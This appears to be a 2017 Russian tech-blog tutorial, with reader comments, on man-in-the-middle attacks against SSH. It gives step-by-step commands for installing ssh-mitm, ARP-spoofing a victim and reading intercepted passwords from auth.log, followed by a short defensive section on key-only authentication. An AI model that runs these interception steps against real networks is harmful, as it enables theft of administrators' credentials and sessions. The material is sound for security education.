Выполнение повседневных задач системного администратора считается безопасным при работе через SSH сессию. В данной статье речь пойдет про современные инструменты для проведения MITM-атак на протокол SSH и как защититься от них.
Арсенал
sshmitm
Существует инструмент, который появился достаточно давно и так и называется — sshmitm. Он входит в дистрибутив для проведения пентеста Kali Linux, но поддерживает только первую версию протокола SSH, что в современной инфраструктуре накладывает серьезные ограничения.
mitmproxy
Есть другой инструмент, который, в частности, позволяет провести MitM-атаку на протокол SSH — mitmproxy (не путать с другим mitmproxy). Его можно скачать с github. Этот инструмент позволяет работать и с аутентификацией по ключу, но у меня это так и не заработало. Инструмент не поддерживается уже 4 года и не работает «из коробки». Сперва нужно исправить несколько ошибок в исходном коде.
После исправления ошибок инструмент позволяет провести MitM атаку, используя аутентификацию по паролю.
intercepter-ng
Было бы странно не упомянуть инструмент Intercepter-ng, позволяющий помимо прочего проводить классическую MitM-атаку на протокол SSH.
ssh-mitm
И совсем недавно появился еще один инструмент — ssh-mitm
> GitHub
Он представляет из себя OpenSSH v7.5p1 с патчем, позволяющим работать как прокси между SSH-клиентом и оригинальным SSH-сервером. Его мы и рассмотрим подробнее.
Установка
Скачиваем дистрибутив в github и запускаем установочный скрипт
git clone https://github.com/jtesta/ssh-mitm.git
cd ssh-mitm
./install.shСкрипт установит все зависимости, скачает исходники openssh-7.5p1, пропатчит их, сконфигурирует и скомпилирует. В результате вы увидите сообщение
Done! The next step is to use JoesAwesomeSSHMITMVictimFinder.py to find target IPs, then execute run.sh and ARP spoof.Так же будет создана директория /home/ssh-mitm.
Проведение атаки
Для того чтобы провести MitM-атаку на протокол SSH нам для начала нужно перенаправить трафик жертвы на нашу машину, вместо оригинального SSH сервера. После установки ssh-mitm мы можем воспользоваться скриптом, входящим в комплект, для поиска ssh-сессий в сети.
Скрипт JoesAwesomeSSHMITMVictimFinder.py находится в каталоге, куда вы склонировали git-репозиторий и делает следующее:
- Проводит arp-spoofing блока IP-адресов (размер блока задается параметром, по умолчанию равен 5)
- Ждет несколько секунд (время ожидания задается параметром, по умолчанию равно 20 секундам)
- Отображает в консоли найденные SSH сессии
- Переходит к следующему блоку
Для arp-spoofing-а используется ettercap, а для сниффинга сетевых пакетов tshark.
Оба инструмента по умолчанию входят в дистрибутив Kali Linux.
При запуске скрипта вы можете получить сообщение «The Python3 netaddr and/or netifaces module is not installed». Исправляется выполнением команды:
apt install python3-netaddr python3-netifacesПример запуска скрипта:
./JoesAwesomeSSHMITMVictimFinder.py --interface eth0 --listen-time 5
Пример вывода:
Local servers:
* 192.168.1.5 -> 192.168.1.4:22После того как цели определены, требуется выполнить другой скрипт — run.sh, который так же находится в каталоге git.
Он, собственно, запускает сервис sshd_mitm, выставляет системный параметр ip_forward равным 1, тем самым разрешая транзитные пакеты и создает правило iptables, перенаправляющее все пакеты на поддельный SSH-сервер.
root@kalix64:~/mitm_and_spoof/ssh-mitm# iptables -t nat -L
Chain PREROUTING (policy ACCEPT)
target prot opt source destination
REDIRECT tcp -- anywhere anywhere tcp dpt:ssh redir ports 2222
root@kalix64:~/mitm_and_spoof/ssh-mitm# netstat -tlpan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:2222 0.0.0.0:* LISTEN 13241/sshd_mitm
Скрипт run.sh не запускает атаку arp-spoofing. Это нужно сделать самостоятельно, например, при помощи arpspoof или ettercap.
arpspoof -i eth0 -t 192.168.1.4 -r 192.168.1.5
Для получения учетных данных жертвы удобно просматривать файл auth.log при помощи tail.
tail -f /var/log/auth.log
Когда жертва (192.168.1.5) попытается подключиться к оригинальном SSH-серверу (192.168.1.4), она непременно увидит сообщение о смене публичного ключа сервера
ubuntu@gns3_1:~$ ssh ubuntu@192.168.1.4
The authenticity of host '192.168.1.4 (192.168.1.4)' can't be established.
ED25519 key fingerprint is SHA256:kn+iT7WwgO6Wlh0xN4KQXB8P/JaHLcRx04gYTvNdjCM.
Are you sure you want to continue connecting (yes/no)?UPD:
Далее жертва вводит логин и пароль, а в журнале auth.log на машине атакующего появляется запись
Aug 29 16:55:08 kalix64 sshd_mitm[13426]: INTERCEPTED PASSWORD: hostname: [192.168.1.4]; username: [ubuntu]; password: [qwerty123] [preauth]
Aug 29 16:55:08 kalix64 sshd_mitm[13426]: Accepted password for ssh-mitm from 192.168.1.5 port 37838 ssh2
И видим в /home/ssh-mitm файл session_0.txt с записанной сессией:
Last login: Tue Aug 29 16:46:03 2017 from ns.secret.lab
ESC]0;ubuntu@ubuntu: ~^Gubuntu@ubuntu:~$ ccdd //eettcc
ESC]0;ubuntu@ubuntu: /etc^Gubuntu@ubuntu:/etc$ ccaatt //eettcc//sshhaadd ^Gow^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?
^H^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^Gssuuddoo ssuu --
[sudo] password for ubuntu: qwerty123
ESC]0;root@ubuntu: ~^Groot@ubuntu:~# ccdd //eettcc//^?^HESC[K
ESC]0;root@ubuntu: /etc^Groot@ubuntu:/etc# ccaatt sshhaadd ^Gow ^G
shadow shadow-
ESC]0;root@ubuntu: /etc^Groot@ubuntu:/etc# cat shadow
root:!:17040:0:99999:7:::
daemon:*:17001:0:99999:7:::
bin:*:17001:0:99999:7:::
sys:*:17001:0:99999:7:::
sync:*:17001:0:99999:7:::
games:*:17001:0:99999:7::Как видите, некоторые данные задваиваются. Это связано с тем, что записывается как ввод пользователя, так и вывод на экран. Программа sudo, например, временно отключает «echo» и пароль qwerty123 отображается «нормально»
ssh-mitm, на мой взгляд, представляет записанную сессию в более удобном виде, чем mitmproxy
На скриншоте выше я пытался ввести в консоль
cat /etcЕсли целевой сервер не разрешает аутентификацию по паролю, а только по ключу, ssh-mitm все равно предложит аутентификацию по паролю и просто разорвет соединение после ввода учетных данных, так как оригинальный сервер учетные данные не примет. Но злоумышленник получит какой-то пароль и сможет использовать его в дальнейшем, так как администратор вряд ли будет вводить что-то несуществующее.
Защита
Как ни странно, но для защиты от подобных атак ничего дополнительно устанавливать в систему не требуется. Все, что нужно — это запретить аутентификацию по паролю директивой
PasswordAuthentication noИ использовать аутентификацию по ключу.
Это защитит сервис так же и от атак на перебор учетных данных, т.е. брутфорса.
Также, не стоит принимать без разбора измененный отпечаток сервера. Сам по себе он обычно не меняется, и если вы сами отвечаете за сервер, к которому подключаетесь и знаете, что ничего там не переустанавливали, стоит лишний раз проверить, не проводится ли в данный момент MitM-атака.
Комментарии (34)
printercu
31.08.2017 14:43+3С начала статьи ждал, как будет отрабатываться предупреждение о том, что ключ поменялся.
В 99% случаев администраторы отвечают на подобный вопрос «yes»
>_< надеюсь, что хоть немного меньше эта цифра на самом деле)
pyrk2142
31.08.2017 15:04Около года назад встречал на Хабре утверждение, что очень много администраторов отправляют приватные ключи вместе с публичными, когда кто-то спрашивает ключ. Просто не думают о том, что они делают. А тут надо только согласиться.
BOPOHA
31.08.2017 15:35+4Автор, вероятно, судит по себе.
Ни один нормальный *nix-сисадмин просто так подобное сообщение не оставит.
antgorka Автор
31.08.2017 16:03+1Я лишь призываю всех, и "нормальных" и "ненормальных" *nix-сисадминов использовать ключи, а не пароли, что повышает безопасность сетевой инфраструктуры. А, надеяться на то, что в Вашей организации все сисадмины "нормальные" — изначально неправильная политика информационной безопасности.
8jwnk
31.08.2017 17:29Автор, вероятно, судит по себе.
Ни один нормальный *nix-сисадмин просто так подобное сообщение не оставит.
Уже -дцатый человек в комментариях пишет, что согласен с автором.
ОК, пусть будет по вашему — ни один «нормальный».
Только вот, видимо, нормальных и есть 1%.
Какая разница каким именно словом обозначить человека? Нормальный или нет?
Суть то не меняется — львинная доля не соблюдает правил безопасности.
Shurrrman
01.09.2017 09:10Нет, ну я прекрасно понимаю, при каких условиях ключ может поменяться. И когда он меняется после очевидных моих действий — в чём проблема. Если «сам» поменялся — то признак задуматься
andrzzc
31.08.2017 15:50Да, к сожалению описанная атака неосуществима без человеческого фактора.
Но в случае когда администратор первый раз заходит на новый сервер, или когда у администратора новый ПК, эта цифра вполне приближается к 99%.
В статье описывается некое подобие сниффера, который находит все действующие SSH-сессии в сети. Т.е. теоретически это дело можно автоматизировать, собирать данные и проксировать только новые компьютеры, появившиеся в сети 10 минут назад.
Есть еще неочевидные подводные камни человеческого фактора — можно совместить атаку на важный сервер (DoS) вместе с MitM-атакой на ssh (ну или просто захватить чужой ip-адрес)
Системный администратор заметит:
1) важный сервер внезапно вообще перестал работать
2) у важного сервера сменился ключ и существующий пароль больше не подходит
ИМХО, не очень опытный администратор с долей вероятности >50%:
1) Забудет о том что это в сети мог появиться левый ип-адрес
2) Попадет под прессинг начальства
3) Начнет вводить все возможные логины и пароли, в т.ч. от других серверов, до победного конца.
4) Разбор полетов и выявление подмены IP-адреса будет проводиться сильно позже, если вообще будет.
5) Коллекция логинов и паролей уже собрана, профит.
iSergios
01.09.2017 13:34Да, к сожалению описанная атака неосуществима без человеческого фактора.
Может все-таки к счастью?
iborzenkov
31.08.2017 15:19The authenticity of host '192.168.1.4 (192.168.1.4)' can't be established.
ED25519 key fingerprint is SHA256:kn+iT7WwgO6Wlh0xN4KQXB8P/JaHLcRx04gYTvNdjCM.
Are you sure you want to continue connecting (yes/no)?Это только в том случае если не разу не подключался к этой машине, если уже было подключение, то ssh матернется и не даст подключиться.
antgorka Автор
31.08.2017 15:26-3Да, но PuTTY предложит принять новый ключ. Да, и когда на Вас орет начальник и просит срочно почистить файловую систему на сервере, так как бизнес "встал", а тут какие-то "глюки начинаются" и не получается подключиться к серверу, многие отдадутся эмоциям и могут выполнить ssh-keygen -f "/home/user/.ssh/known_hosts" -R ...
mva
31.08.2017 16:19+6вот где-то приблизительно поэтому у меня и существует стереотип о том, что Linux-администратор, пользующийся Windows не может являться профессионалом в этой области
Wedmer
31.08.2017 21:16+1Спорное утверждение. Работать никсовым админом и жить в никсах — несколько разные, но пересекающиеся множества.
mva
31.08.2017 21:36+2стереотип
Я не просто так написал это слово.
Т.е. я отдаю себе отчёт о том, что это не всегда истинно. Но этот штамп помогает моментально составлять мнение (которое, к слову, всё же часто оказывается истинным) о профессиональных качествах собеседника. Естественно, я не держусь за него и при более детальном общении сужу о человеке по его реальным навыкам.
Но статистически этот мой штамп очень часто реально помогает морально подготовиться к тому, чего стоит ожидать от собеседника и меньше нервничать во время дискуссий.
saboteur_kiev
31.08.2017 15:21+3«В 99% случаев администраторы отвечают на подобный вопрос «yes».»
Не могу поверить, что я попадаю в уникальные 1% администраторов, которые видя подобное не выясняют по какой причине поменялся ключ хоста? Это действительно поведение большинства?
chmod
31.08.2017 15:22+6The authenticity of host '192.168.1.4 (192.168.1.4)' can't be established.
Данное сообщение выводится только если вы никогда не подключались к данному хосту, т.е. в файле known_hosts нет о нем записи.
Если же у известного хоста публичный ключ сменился, ssh-клиент откажется подключаться:
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ECDSA key sent by the remote host is
3e:ee:ee:ee:ee:ee:ee:ee:ee:ee:e6:72:df:c4:ee:ee.
Please contact your system administrator.
Add correct host key in /home/user/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /home/user/.ssh/known_hosts:1
remove with: ssh-keygen -f "/home/user/.ssh/known_hosts" -R eee.eee
ECDSA host key for eee.eee has changed and you have requested strict checking.
Host key verification failed.
Т.е. нужно предпринять ручные действия (или удалить строку в файле known_hosts, или командой ssh-keygen -f) для подключения.
Правда это касается ssh-клиента на линуксе, не знаю как себя поведет putty в данной ситуации.
Тем не менее абсолютно согласен с выводом статьи о запрете авторизации по паролям.antgorka Автор
31.08.2017 15:23Все верно. PuTTY, насколько я помню, просто предложит принять новый ключ.
saboteur_kiev
31.08.2017 17:51+1Не совсем просто. Оно выведет варнинг, в котором большими буквами напишет, что уже сохраненный ключ не совпадает с ключом хоста, и это потенциально security breach.
А потом уже предложит Yes, No, Cancel
Причем в конце еще раз напомнит, что «Hitting Cancel is the ONLY guaranteed safe choise».
mva
31.08.2017 16:23к слову,
1) это справедливо практически для всех ОС. И все варианты "бсди", и макось, и прочие. С некоторых пор даже в этой вашей windows можно после пары пассов руками :)
2) putty есть и для линукса и для других ОС. Но более нужным от этого не становится, да :)
Ctacfs
01.09.2017 14:41В 99% случаев администраторы отвечают на подобный вопрос «yes».
Это где 99% админов жмут yes не задумываясь когда клиент говорит, что не может установить аутентификацию хоста? В такой ситуации даже я, будучи совсем начинающим админом, сначала задумался, потом понял, в чем дело, а потом ещё и загуглил, чтобы уж наверняка.
maxzhurkin
02.09.2017 12:28А почему часть команд характерны для Debian (и про это ничего не сказано), а часть вообще противоречат всем рекомендациям по установке ПО?
antgorka Автор
02.09.2017 13:29Вы о чем?
maxzhurkin
02.09.2017 13:31apt есть только в Debian и «дочках», а всякие ./install.sh будет использовать только тот, кто пользуется системой первый и последний раз, то есть, тот, кто ей пользоваться не должен.
antgorka Автор
02.09.2017 13:37Вы, видимо, не понимаете, о чем речь в статье. Я устанавливаю фейковый SSH-сервер в свой собственный дистрибутив для пентеста и прекрасно понимаю, что будет делать install.sh и зачем именно я это делаю. В тексте несколько раз сказано, что я использую Kali Linux, а это Debian-based дистрибутив.
maxzhurkin
02.09.2017 13:40Нет, в тексте, конечно, неоднократно упоминается Kali Linux, но нигде явно не говорится, что в статье все команды приведены именно для этого дистрибутива.
antgorka Автор
02.09.2017 13:41Обратите внимание на "Для arp-spoofing-а используется ettercap, а для сниффинга сетевых пакетов tshark.
Оба инструмента по умолчанию входят в дистрибутив Kali Linux." и на строку приглашения в code-тегах (root@kalix64:~)maxzhurkin
02.09.2017 13:43Да, многократно говорится, что те или иные инструменты входят в состав Kali Linux, однако это нисколько не противоречит моим словам.
maxzhurkin
02.09.2017 13:47Плюс к тому: вы-то понимаете, что делает install.sh, а вот ваш читатель — не факт.
И тут я бы разделил его на три группы: одна не понимает, но делает, другая не понимает, но не делает, а третья разбирается самостоятельно и или делает, или нет.
К сожалению для нашего мира, первых очень много, к сожалению для вас, вторых тоже много, но не очень, к сожалению для всех, последних мало.
chupasaurus
k0ldbl00d
В 99% случаев они нажимают Yes когда только что установили ОС (или запустили контейнер в облаке). В остальном, когда вдруг ни с того ни с сего появился запрос об изменившемся fingerprint — это как раз таки сигнал тревоги, и вот тут процент значительно меньше. По крайней мере, я надеюсь что это так.
pwrlnd
«В 99% случаев это не системные администраторы».